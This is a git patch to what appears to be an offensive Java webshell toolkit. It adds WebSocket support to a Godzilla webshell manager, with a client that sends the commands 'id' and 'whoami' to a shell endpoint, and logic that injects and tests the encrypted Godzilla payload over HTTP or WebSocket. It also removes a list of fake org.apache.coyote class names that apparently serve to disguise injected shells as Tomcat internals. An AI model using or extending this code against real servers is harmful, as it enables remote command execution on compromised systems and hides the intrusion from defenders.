From 942fa3ec68932dcab92a91d34fab9ad7249b61ee Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 13 May 2025 23:58:39 +0800 Subject: [PATCH] test: godzilla websocket failed --- tools/godzilla/build.gradle | 1 + .../godzilla/BlockingJavaWebSocketClient.java | 116 +++++ .../javaweb/godzilla/GodzillaManager.java | 87 ++-- .../resources/godzillaShellClassNames.txt | 413 ------------------ 4 files changed, 171 insertions(+), 446 deletions(-) create mode 100644 tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java delete mode 100644 tools/godzilla/src/main/resources/godzillaShellClassNames.txt diff --git a/tools/godzilla/build.gradle b/tools/godzilla/build.gradle index 4d1c8b56..31e5b2bd 100644 --- a/tools/godzilla/build.gradle +++ b/tools/godzilla/build.gradle @@ -17,6 +17,7 @@ dependencies { implementation 'commons-codec:commons-codec' implementation 'com.squareup.okhttp3:okhttp' + implementation 'org.java-websocket:Java-WebSocket' testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java new file mode 100644 index 00000000..a85f2082 --- /dev/null +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java @@ -0,0 +1,116 @@ +package com.reajason.javaweb.godzilla; + +import lombok.SneakyThrows; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.handshake.ServerHandshake; + +import java.net.URI; +import java.nio.ByteBuffer; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +public class BlockingJavaWebSocketClient extends WebSocketClient { + + private CountDownLatch connectLatch = new CountDownLatch(1); + private CountDownLatch responseLatch = new CountDownLatch(1); + private final AtomicReference responseMessage = new AtomicReference<>(); + private final AtomicReference responseBytesMessage = new AtomicReference<>(); + private volatile boolean connected = false; + + public BlockingJavaWebSocketClient(URI serverUri) { + super(serverUri); + } + + @Override + public void onOpen(ServerHandshake handshake) { + connected = true; + connectLatch.countDown(); + } + + @Override + public void onMessage(String message) { + responseMessage.set(message); + responseLatch.countDown(); + close(); + } + + @Override + public void onMessage(ByteBuffer byteBuffer) { + responseBytesMessage.set(byteBuffer.array()); + responseLatch.countDown(); + close(); + } + + @Override + public void onClose(int code, String reason, boolean remote) { + responseLatch.countDown(); + connectLatch.countDown(); + connected = false; + } + + @Override + public void onError(Exception ex) { + responseLatch.countDown(); + connectLatch.countDown(); + connected = false; + } + + @SneakyThrows + public static String sendRequestWaitResponse(String entrypoint, String message) { + BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint)); + return blockingJavaWebSocketClient.sendRequest(message); + } + + @SneakyThrows + public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) { + BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint)); + return blockingJavaWebSocketClient.sendRequest(message); + } + + public String sendRequest(String message) throws InterruptedException { + connect(); + if (!connectLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout during WebSocket connection."); + } + if (!connected) { + throw new IllegalStateException("WebSocket connection is not open."); + } + + responseMessage.set(null); + connectLatch = new CountDownLatch(1); + responseLatch = new CountDownLatch(1); + send(message); + + if (!responseLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout waiting for WebSocket response."); + } + return responseMessage.get(); + } + + public byte[] sendRequest(ByteBuffer message) throws InterruptedException { + connect(); + if (!connectLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout during WebSocket connection."); + } + if (!connected) { + throw new IllegalStateException("WebSocket connection is not open."); + } + + responseBytesMessage.set(null); + connectLatch = new CountDownLatch(1); + responseLatch = new CountDownLatch(1); + send(message); + + if (!responseLatch.await(5, TimeUnit.SECONDS)) { + throw new InterruptedException("Timeout waiting for WebSocket response."); + } + return responseBytesMessage.get(); + } + + public static void main(String[] args) { + String uri = "ws://localhost:8082/app/fuck"; + System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id")); + System.out.println("Response 2: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "whoami")); + } +} \ No newline at end of file diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index f534af1e..369bc392 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -17,8 +17,10 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.*; import java.net.URLDecoder; +import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; -import java.util.*; +import java.util.HashMap; +import java.util.Map; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; @@ -28,26 +30,18 @@ import java.util.zip.GZIPOutputStream; @Getter @Setter public class GodzillaManager implements Closeable { - private static final List CLASS_NAMES; - static { - InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt")); - CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); - } - - private final OkHttpClient client; + private final OkHttpClient client = new OkHttpClient.Builder().build(); private String cookie = ""; private String entrypoint; private String key; private String pass; private String md5; private Request request; + private boolean http; + private boolean ws; private Map headers = new HashMap<>(); - public GodzillaManager() { - this.client = new OkHttpClient.Builder().build(); - } - public static Pair getKeyMd5(String key, String pass) { String md5Key = DigestUtils.md5Hex(key).substring(0, 16); String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); @@ -60,7 +54,6 @@ public class GodzillaManager implements Closeable { @SneakyThrows public static byte[] generateGodzilla() { - Random random = new Random(); try (DynamicType.Unloaded make = new ByteBuddy() .redefine(Payload.class) .visit(TargetJreVersionVisitorWrapper.DEFAULT) @@ -103,7 +96,7 @@ public class GodzillaManager implements Closeable { return responseBody; } int i = responseBody.indexOf(md5.substring(0, 16)); - String result = responseBody.substring(i + 16); + String result = responseBody.substring(i + 16); int lastIndex = result.indexOf(md5.substring(16)); result = result.substring(0, lastIndex); byte[] bytes = Base64.decodeBase64(result); @@ -187,37 +180,59 @@ public class GodzillaManager implements Closeable { public boolean start() { byte[] bytes = generateGodzilla(); - try (Response response = post(bytes)) { - String setCookie = response.header("Set-Cookie"); - if (setCookie != null && setCookie.contains("JSESSIONID=")) { - cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); + if (isHttp()) { + try (Response response = post(bytes)) { + String setCookie = response.header("Set-Cookie"); + if (setCookie != null && setCookie.contains("JSESSIONID=")) { + cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); + } + if (response.isSuccessful()) { + return true; + } + System.out.println(response.body().string().trim()); + } catch (IOException e) { + e.printStackTrace(); } - if (response.isSuccessful()) { + } + if (isWs()) { + try { + BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes)); return true; + } catch (Exception e) { + e.printStackTrace(); } - System.out.println(response.body().string().trim()); - } catch (IOException e) { - e.printStackTrace(); } return false; } + @SneakyThrows public boolean test() { byte[] bytes = generateMethodCallBytes("test"); - try (Response response = post(bytes)) { - if (response.isSuccessful()) { - ResponseBody body = response.body(); - if (body != null) { - String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); - System.out.println(resultFromRes); - return "ok".equals(resultFromRes); + if (isHttp()) { + try (Response response = post(bytes)) { + if (response.isSuccessful()) { + ResponseBody body = response.body(); + if (body != null) { + String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); + System.out.println(resultFromRes); + return "ok".equals(resultFromRes); + } } + return false; + } catch (IOException e) { + e.printStackTrace(); + return false; } - return false; - } catch (IOException e) { - e.printStackTrace(); - return false; } + + if (isWs()) { + byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes)); + byte[] x = aes(key, bytes1, false); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); + return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); + } + + return false; } @Override @@ -284,6 +299,12 @@ public class GodzillaManager implements Closeable { headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); headers.putAll(this.headers); manager.setHeaders(headers); + if (entrypoint.startsWith("http")) { + manager.setHttp(true); + } + if (entrypoint.startsWith("ws")) { + manager.setWs(true); + } return manager; } } diff --git a/tools/godzilla/src/main/resources/godzillaShellClassNames.txt b/tools/godzilla/src/main/resources/godzillaShellClassNames.txt deleted file mode 100644 index 56218440..00000000 --- a/tools/godzilla/src/main/resources/godzillaShellClassNames.txt +++ /dev/null @@ -1,413 +0,0 @@ -org.apache.coyote.AbstractTypeResolver -org.apache.coyote.AnnotationIntrospector -org.apache.coyote.BeanDescription -org.apache.coyote.BeanProperty -org.apache.coyote.DatabindContext -org.apache.coyote.DeserializationConfig -org.apache.coyote.DeserializationContext -org.apache.coyote.DeserializationFeature -org.apache.coyote.InjectableValues -org.apache.coyote.JavaType -org.apache.coyote.JsonDeserializer -org.apache.coyote.JsonMappingException -org.apache.coyote.JsonNode -org.apache.coyote.JsonSerializable -org.apache.coyote.JsonSerializer -org.apache.coyote.KeyDeserializer -org.apache.coyote.MapperFeature -org.apache.coyote.MappingIterator -org.apache.coyote.MappingJsonFactory -org.apache.coyote.Module -org.apache.coyote.ObjectMapper -org.apache.coyote.ObjectReader -org.apache.coyote.ObjectWriter -org.apache.coyote.PropertyMetadata -org.apache.coyote.PropertyName -org.apache.coyote.PropertyNamingStrategy -org.apache.coyote.RuntimeJsonMappingException -org.apache.coyote.SequenceWriter -org.apache.coyote.SerializationConfig -org.apache.coyote.SerializationFeature -org.apache.coyote.SerializerProvider -org.apache.coyote.annotation.JacksonStdImpl -org.apache.coyote.annotation.JsonAppend -org.apache.coyote.annotation.JsonDeserialize -org.apache.coyote.annotation.JsonNaming -org.apache.coyote.annotation.JsonPOJOBuilder -org.apache.coyote.annotation.JsonSerialize -org.apache.coyote.annotation.JsonTypeIdResolver -org.apache.coyote.annotation.JsonTypeResolver -org.apache.coyote.annotation.JsonValueInstantiator -org.apache.coyote.annotation.NoClass -org.apache.coyote.cfg.BaseSettings -org.apache.coyote.cfg.ConfigFeature -org.apache.coyote.cfg.ConfigOverride -org.apache.coyote.cfg.ConfigOverrides -org.apache.coyote.cfg.ContextAttributes -org.apache.coyote.cfg.DeserializerFactoryConfig -org.apache.coyote.cfg.HandlerInstantiator -org.apache.coyote.cfg.MapperBuilder -org.apache.coyote.cfg.MapperConfig -org.apache.coyote.cfg.MapperConfigBase -org.apache.coyote.cfg.MutableConfigOverride -org.apache.coyote.cfg.PackageVersion -org.apache.coyote.cfg.SerializerFactoryConfig -org.apache.coyote.deser.AbstractDeserializer -org.apache.coyote.deser.BasicDeserializerFactory -org.apache.coyote.deser.BeanDeserializer -org.apache.coyote.deser.BeanDeserializerBase -org.apache.coyote.deser.BeanDeserializerBuilder -org.apache.coyote.deser.BeanDeserializerFactory -org.apache.coyote.deser.BeanDeserializerModifier -org.apache.coyote.deser.BuilderBasedDeserializer -org.apache.coyote.deser.ContextualDeserializer -org.apache.coyote.deser.ContextualKeyDeserializer -org.apache.coyote.deser.CreatorProperty -org.apache.coyote.deser.DataFormatReaders -org.apache.coyote.deser.DefaultDeserializationContext -org.apache.coyote.deser.DeserializationProblemHandler -org.apache.coyote.deser.DeserializerCache -org.apache.coyote.deser.DeserializerFactory -org.apache.coyote.deser.Deserializers -org.apache.coyote.deser.KeyDeserializers -org.apache.coyote.deser.NullValueProvider -org.apache.coyote.deser.ResolvableDeserializer -org.apache.coyote.deser.SettableAnyProperty -org.apache.coyote.deser.SettableBeanProperty -org.apache.coyote.deser.UnresolvedForwardReference -org.apache.coyote.deser.UnresolvedId -org.apache.coyote.deser.ValueInstantiator -org.apache.coyote.deser.ValueInstantiators -org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer -org.apache.coyote.deser.impl.BeanAsArrayDeserializer -org.apache.coyote.deser.impl.BeanPropertyMap -org.apache.coyote.deser.impl.CreatorCandidate -org.apache.coyote.deser.impl.CreatorCollector -org.apache.coyote.deser.impl.ErrorThrowingDeserializer -org.apache.coyote.deser.impl.ExternalTypeHandler -org.apache.coyote.deser.impl.FailingDeserializer -org.apache.coyote.deser.impl.FieldProperty -org.apache.coyote.deser.impl.InnerClassProperty -org.apache.coyote.deser.impl.JDKValueInstantiators -org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers -org.apache.coyote.deser.impl.ManagedReferenceProperty -org.apache.coyote.deser.impl.MergingSettableBeanProperty -org.apache.coyote.deser.impl.MethodProperty -org.apache.coyote.deser.impl.NullsAsEmptyProvider -org.apache.coyote.deser.impl.NullsConstantProvider -org.apache.coyote.deser.impl.NullsFailProvider -org.apache.coyote.deser.impl.ObjectIdReader -org.apache.coyote.deser.impl.ObjectIdReferenceProperty -org.apache.coyote.deser.impl.ObjectIdValueProperty -org.apache.coyote.deser.impl.PropertyBasedCreator -org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator -org.apache.coyote.deser.impl.PropertyValue -org.apache.coyote.deser.impl.PropertyValueBuffer -org.apache.coyote.deser.impl.ReadableObjectId -org.apache.coyote.deser.impl.SetterlessProperty -org.apache.coyote.deser.impl.TypeWrappedDeserializer -org.apache.coyote.deser.impl.UnwrappedPropertyHandler -org.apache.coyote.deser.impl.ValueInjector -org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer -org.apache.coyote.deser.std.AtomicBooleanDeserializer -org.apache.coyote.deser.std.AtomicReferenceDeserializer -org.apache.coyote.deser.std.BaseNodeDeserializer -org.apache.coyote.deser.std.ByteBufferDeserializer -org.apache.coyote.deser.std.CollectionDeserializer -org.apache.coyote.deser.std.ContainerDeserializerBase -org.apache.coyote.deser.std.DateDeserializers -org.apache.coyote.deser.std.DelegatingDeserializer -org.apache.coyote.deser.std.EnumDeserializer -org.apache.coyote.deser.std.EnumMapDeserializer -org.apache.coyote.deser.std.EnumSetDeserializer -org.apache.coyote.deser.std.FactoryBasedEnumDeserializer -org.apache.coyote.deser.std.FromStringDeserializer -org.apache.coyote.deser.std.JdkDeserializers -org.apache.coyote.deser.std.JsonLocationInstantiator -org.apache.coyote.deser.std.JsonNodeDeserializer -org.apache.coyote.deser.std.MapDeserializer -org.apache.coyote.deser.std.MapEntryDeserializer -org.apache.coyote.deser.std.NullifyingDeserializer -org.apache.coyote.deser.std.NumberDeserializers -org.apache.coyote.deser.std.ObjectArrayDeserializer -org.apache.coyote.deser.std.PrimitiveArrayDeserializers -org.apache.coyote.deser.std.ReferenceTypeDeserializer -org.apache.coyote.deser.std.StackTraceElementDeserializer -org.apache.coyote.deser.std.StdDelegatingDeserializer -org.apache.coyote.deser.std.StdDeserializer -org.apache.coyote.deser.std.StdKeyDeserializer -org.apache.coyote.deser.std.StdKeyDeserializers -org.apache.coyote.deser.std.StdNodeBasedDeserializer -org.apache.coyote.deser.std.StdScalarDeserializer -org.apache.coyote.deser.std.StdValueInstantiator -org.apache.coyote.deser.std.StringArrayDeserializer -org.apache.coyote.deser.std.StringCollectionDeserializer -org.apache.coyote.deser.std.StringDeserializer -org.apache.coyote.deser.std.ThrowableDeserializer -org.apache.coyote.deser.std.TokenBufferDeserializer -org.apache.coyote.deser.std.UUIDDeserializer -org.apache.coyote.deser.std.UntypedObjectDeserializer -org.apache.coyote.exc.IgnoredPropertyException -org.apache.coyote.exc.InvalidDefinitionException -org.apache.coyote.exc.InvalidFormatException -org.apache.coyote.exc.InvalidNullException -org.apache.coyote.exc.InvalidTypeIdException -org.apache.coyote.exc.MismatchedInputException -org.apache.coyote.exc.PropertyBindingException -org.apache.coyote.exc.UnrecognizedPropertyException -org.apache.coyote.exc.ValueInstantiationException -org.apache.coyote.ext.CoreXMLDeserializers -org.apache.coyote.ext.CoreXMLSerializers -org.apache.coyote.ext.DOMDeserializer -org.apache.coyote.ext.DOMSerializer -org.apache.coyote.ext.Java7Handlers -org.apache.coyote.ext.Java7HandlersImpl -org.apache.coyote.ext.Java7Support -org.apache.coyote.ext.Java7SupportImpl -org.apache.coyote.ext.NioPathDeserializer -org.apache.coyote.ext.NioPathSerializer -org.apache.coyote.ext.OptionalHandlerFactory -org.apache.coyote.introspect.Annotated -org.apache.coyote.introspect.AnnotatedClass -org.apache.coyote.introspect.AnnotatedClassResolver -org.apache.coyote.introspect.AnnotatedConstructor -org.apache.coyote.introspect.AnnotatedCreatorCollector -org.apache.coyote.introspect.AnnotatedField -org.apache.coyote.introspect.AnnotatedFieldCollector -org.apache.coyote.introspect.AnnotatedMember -org.apache.coyote.introspect.AnnotatedMethod -org.apache.coyote.introspect.AnnotatedMethodCollector -org.apache.coyote.introspect.AnnotatedMethodMap -org.apache.coyote.introspect.AnnotatedParameter -org.apache.coyote.introspect.AnnotatedWithParams -org.apache.coyote.introspect.AnnotationCollector -org.apache.coyote.introspect.AnnotationIntrospectorPair -org.apache.coyote.introspect.AnnotationMap -org.apache.coyote.introspect.BasicBeanDescription -org.apache.coyote.introspect.BasicClassIntrospector -org.apache.coyote.introspect.BeanPropertyDefinition -org.apache.coyote.introspect.ClassIntrospector -org.apache.coyote.introspect.CollectorBase -org.apache.coyote.introspect.ConcreteBeanPropertyBase -org.apache.coyote.introspect.JacksonAnnotationIntrospector -org.apache.coyote.introspect.MemberKey -org.apache.coyote.introspect.NopAnnotationIntrospector -org.apache.coyote.introspect.ObjectIdInfo -org.apache.coyote.introspect.POJOPropertiesCollector -org.apache.coyote.introspect.POJOPropertyBuilder -org.apache.coyote.introspect.SimpleMixInResolver -org.apache.coyote.introspect.TypeResolutionContext -org.apache.coyote.introspect.VirtualAnnotatedMember -org.apache.coyote.introspect.VisibilityChecker -org.apache.coyote.introspect.WithMember -org.apache.coyote.json.JsonMapper -org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonFormatTypes -org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable -org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider -org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper -org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor -org.apache.coyote.jsonFormatVisitors.JsonValueFormat -org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor -org.apache.coyote.jsonschema.JsonSchema -org.apache.coyote.jsonschema.JsonSerializableSchema -org.apache.coyote.jsonschema.SchemaAware -org.apache.coyote.jsontype.BasicPolymorphicTypeValidator -org.apache.coyote.jsontype.NamedType -org.apache.coyote.jsontype.PolymorphicTypeValidator -org.apache.coyote.jsontype.SubtypeResolver -org.apache.coyote.jsontype.TypeDeserializer -org.apache.coyote.jsontype.TypeIdResolver -org.apache.coyote.jsontype.TypeResolverBuilder -org.apache.coyote.jsontype.TypeSerializer -org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer -org.apache.coyote.jsontype.impl.AsArrayTypeSerializer -org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer -org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer -org.apache.coyote.jsontype.impl.AsExternalTypeSerializer -org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer -org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer -org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer -org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer -org.apache.coyote.jsontype.impl.ClassNameIdResolver -org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator -org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver -org.apache.coyote.jsontype.impl.StdSubtypeResolver -org.apache.coyote.jsontype.impl.StdTypeResolverBuilder -org.apache.coyote.jsontype.impl.SubTypeValidator -org.apache.coyote.jsontype.impl.TypeDeserializerBase -org.apache.coyote.jsontype.impl.TypeIdResolverBase -org.apache.coyote.jsontype.impl.TypeNameIdResolver -org.apache.coyote.jsontype.impl.TypeSerializerBase -org.apache.coyote.module.SimpleAbstractTypeResolver -org.apache.coyote.module.SimpleDeserializers -org.apache.coyote.module.SimpleKeyDeserializers -org.apache.coyote.module.SimpleModule -org.apache.coyote.module.SimpleSerializers -org.apache.coyote.module.SimpleValueInstantiators -org.apache.coyote.node.ArrayNode -org.apache.coyote.node.BaseJsonNode -org.apache.coyote.node.BigIntegerNode -org.apache.coyote.node.BinaryNode -org.apache.coyote.node.BooleanNode -org.apache.coyote.node.ContainerNode -org.apache.coyote.node.DecimalNode -org.apache.coyote.node.DoubleNode -org.apache.coyote.node.FloatNode -org.apache.coyote.node.IntNode -org.apache.coyote.node.InternalNodeMapper -org.apache.coyote.node.JsonNodeCreator -org.apache.coyote.node.JsonNodeFactory -org.apache.coyote.node.JsonNodeType -org.apache.coyote.node.LongNode -org.apache.coyote.node.MissingNode -org.apache.coyote.node.NodeCursor -org.apache.coyote.node.NodeSerialization -org.apache.coyote.node.NullNode -org.apache.coyote.node.NumericNode -org.apache.coyote.node.ObjectNode -org.apache.coyote.node.POJONode -org.apache.coyote.node.ShortNode -org.apache.coyote.node.TextNode -org.apache.coyote.node.TreeTraversingParser -org.apache.coyote.node.ValueNode -org.apache.coyote.ser.AnyGetterWriter -org.apache.coyote.ser.BasicSerializerFactory -org.apache.coyote.ser.BeanPropertyFilter -org.apache.coyote.ser.BeanPropertyWriter -org.apache.coyote.ser.BeanSerializer -org.apache.coyote.ser.BeanSerializerBuilder -org.apache.coyote.ser.BeanSerializerFactory -org.apache.coyote.ser.BeanSerializerModifier -org.apache.coyote.ser.ContainerSerializer -org.apache.coyote.ser.ContextualSerializer -org.apache.coyote.ser.DefaultSerializerProvider -org.apache.coyote.ser.FilterProvider -org.apache.coyote.ser.PropertyBuilder -org.apache.coyote.ser.PropertyFilter -org.apache.coyote.ser.PropertyWriter -org.apache.coyote.ser.ResolvableSerializer -org.apache.coyote.ser.SerializerCache -org.apache.coyote.ser.SerializerFactory -org.apache.coyote.ser.Serializers -org.apache.coyote.ser.VirtualBeanPropertyWriter -org.apache.coyote.ser.impl.AttributePropertyWriter -org.apache.coyote.ser.impl.BeanAsArraySerializer -org.apache.coyote.ser.impl.FailingSerializer -org.apache.coyote.ser.impl.FilteredBeanPropertyWriter -org.apache.coyote.ser.impl.IndexedListSerializer -org.apache.coyote.ser.impl.IndexedStringListSerializer -org.apache.coyote.ser.impl.IteratorSerializer -org.apache.coyote.ser.impl.MapEntrySerializer -org.apache.coyote.ser.impl.ObjectIdWriter -org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator -org.apache.coyote.ser.impl.PropertySerializerMap -org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap -org.apache.coyote.ser.impl.SimpleBeanPropertyFilter -org.apache.coyote.ser.impl.SimpleFilterProvider -org.apache.coyote.ser.impl.StringArraySerializer -org.apache.coyote.ser.impl.StringCollectionSerializer -org.apache.coyote.ser.impl.TypeWrappedSerializer -org.apache.coyote.ser.impl.UnknownSerializer -org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter -org.apache.coyote.ser.impl.UnwrappingBeanSerializer -org.apache.coyote.ser.impl.WritableObjectId -org.apache.coyote.ser.std.ArraySerializerBase -org.apache.coyote.ser.std.AsArraySerializerBase -org.apache.coyote.ser.std.AtomicReferenceSerializer -org.apache.coyote.ser.std.BeanSerializerBase -org.apache.coyote.ser.std.BooleanSerializer -org.apache.coyote.ser.std.ByteArraySerializer -org.apache.coyote.ser.std.ByteBufferSerializer -org.apache.coyote.ser.std.CalendarSerializer -org.apache.coyote.ser.std.ClassSerializer -org.apache.coyote.ser.std.CollectionSerializer -org.apache.coyote.ser.std.DateSerializer -org.apache.coyote.ser.std.DateTimeSerializerBase -org.apache.coyote.ser.std.EnumSerializer -org.apache.coyote.ser.std.EnumSetSerializer -org.apache.coyote.ser.std.FileSerializer -org.apache.coyote.ser.std.InetAddressSerializer -org.apache.coyote.ser.std.InetSocketAddressSerializer -org.apache.coyote.ser.std.IterableSerializer -org.apache.coyote.ser.std.JsonValueSerializer -org.apache.coyote.ser.std.MapProperty -org.apache.coyote.ser.std.MapSerializer -org.apache.coyote.ser.std.NonTypedScalarSerializerBase -org.apache.coyote.ser.std.NullSerializer -org.apache.coyote.ser.std.NumberSerializer -org.apache.coyote.ser.std.NumberSerializers -org.apache.coyote.ser.std.ObjectArraySerializer -org.apache.coyote.ser.std.RawSerializer -org.apache.coyote.ser.std.ReferenceTypeSerializer -org.apache.coyote.ser.std.SerializableSerializer -org.apache.coyote.ser.std.SqlDateSerializer -org.apache.coyote.ser.std.SqlTimeSerializer -org.apache.coyote.ser.std.StaticListSerializerBase -org.apache.coyote.ser.std.StdArraySerializers -org.apache.coyote.ser.std.StdDelegatingSerializer -org.apache.coyote.ser.std.StdJdkSerializers -org.apache.coyote.ser.std.StdKeySerializer -org.apache.coyote.ser.std.StdKeySerializers -org.apache.coyote.ser.std.StdScalarSerializer -org.apache.coyote.ser.std.StdSerializer -org.apache.coyote.ser.std.StringSerializer -org.apache.coyote.ser.std.TimeZoneSerializer -org.apache.coyote.ser.std.ToStringSerializer -org.apache.coyote.ser.std.ToStringSerializerBase -org.apache.coyote.ser.std.TokenBufferSerializer -org.apache.coyote.ser.std.UUIDSerializer -org.apache.coyote.type.ArrayType -org.apache.coyote.type.ClassKey -org.apache.coyote.type.ClassStack -org.apache.coyote.type.CollectionLikeType -org.apache.coyote.type.CollectionType -org.apache.coyote.type.MapLikeType -org.apache.coyote.type.MapType -org.apache.coyote.type.PlaceholderForType -org.apache.coyote.type.ReferenceType -org.apache.coyote.type.ResolvedRecursiveType -org.apache.coyote.type.SimpleType -org.apache.coyote.type.TypeBase -org.apache.coyote.type.TypeBindings -org.apache.coyote.type.TypeFactory -org.apache.coyote.type.TypeModifier -org.apache.coyote.type.TypeParser -org.apache.coyote.util.AccessPattern -org.apache.coyote.util.Annotations -org.apache.coyote.util.ArrayBuilders -org.apache.coyote.util.ArrayIterator -org.apache.coyote.util.BeanUtil -org.apache.coyote.util.ByteBufferBackedInputStream -org.apache.coyote.util.ByteBufferBackedOutputStream -org.apache.coyote.util.ClassUtil -org.apache.coyote.util.CompactStringObjectMap -org.apache.coyote.util.Converter -org.apache.coyote.util.EnumResolver -org.apache.coyote.util.EnumValues -org.apache.coyote.util.ISO8601DateFormat -org.apache.coyote.util.ISO8601Utils -org.apache.coyote.util.JSONPObject -org.apache.coyote.util.JSONWrappedObject -org.apache.coyote.util.LRUMap -org.apache.coyote.util.LinkedNode -org.apache.coyote.util.NameTransformer -org.apache.coyote.util.Named -org.apache.coyote.util.ObjectBuffer -org.apache.coyote.util.PrimitiveArrayBuilder -org.apache.coyote.util.RawValue -org.apache.coyote.util.RootNameLookup -org.apache.coyote.util.SimpleBeanPropertyDefinition -org.apache.coyote.util.StdConverter -org.apache.coyote.util.StdDateFormat -org.apache.coyote.util.TokenBuffer -org.apache.coyote.util.TokenBufferReadContext -org.apache.coyote.util.TypeKey -org.apache.coyote.util.ViewMatcher \ No newline at end of file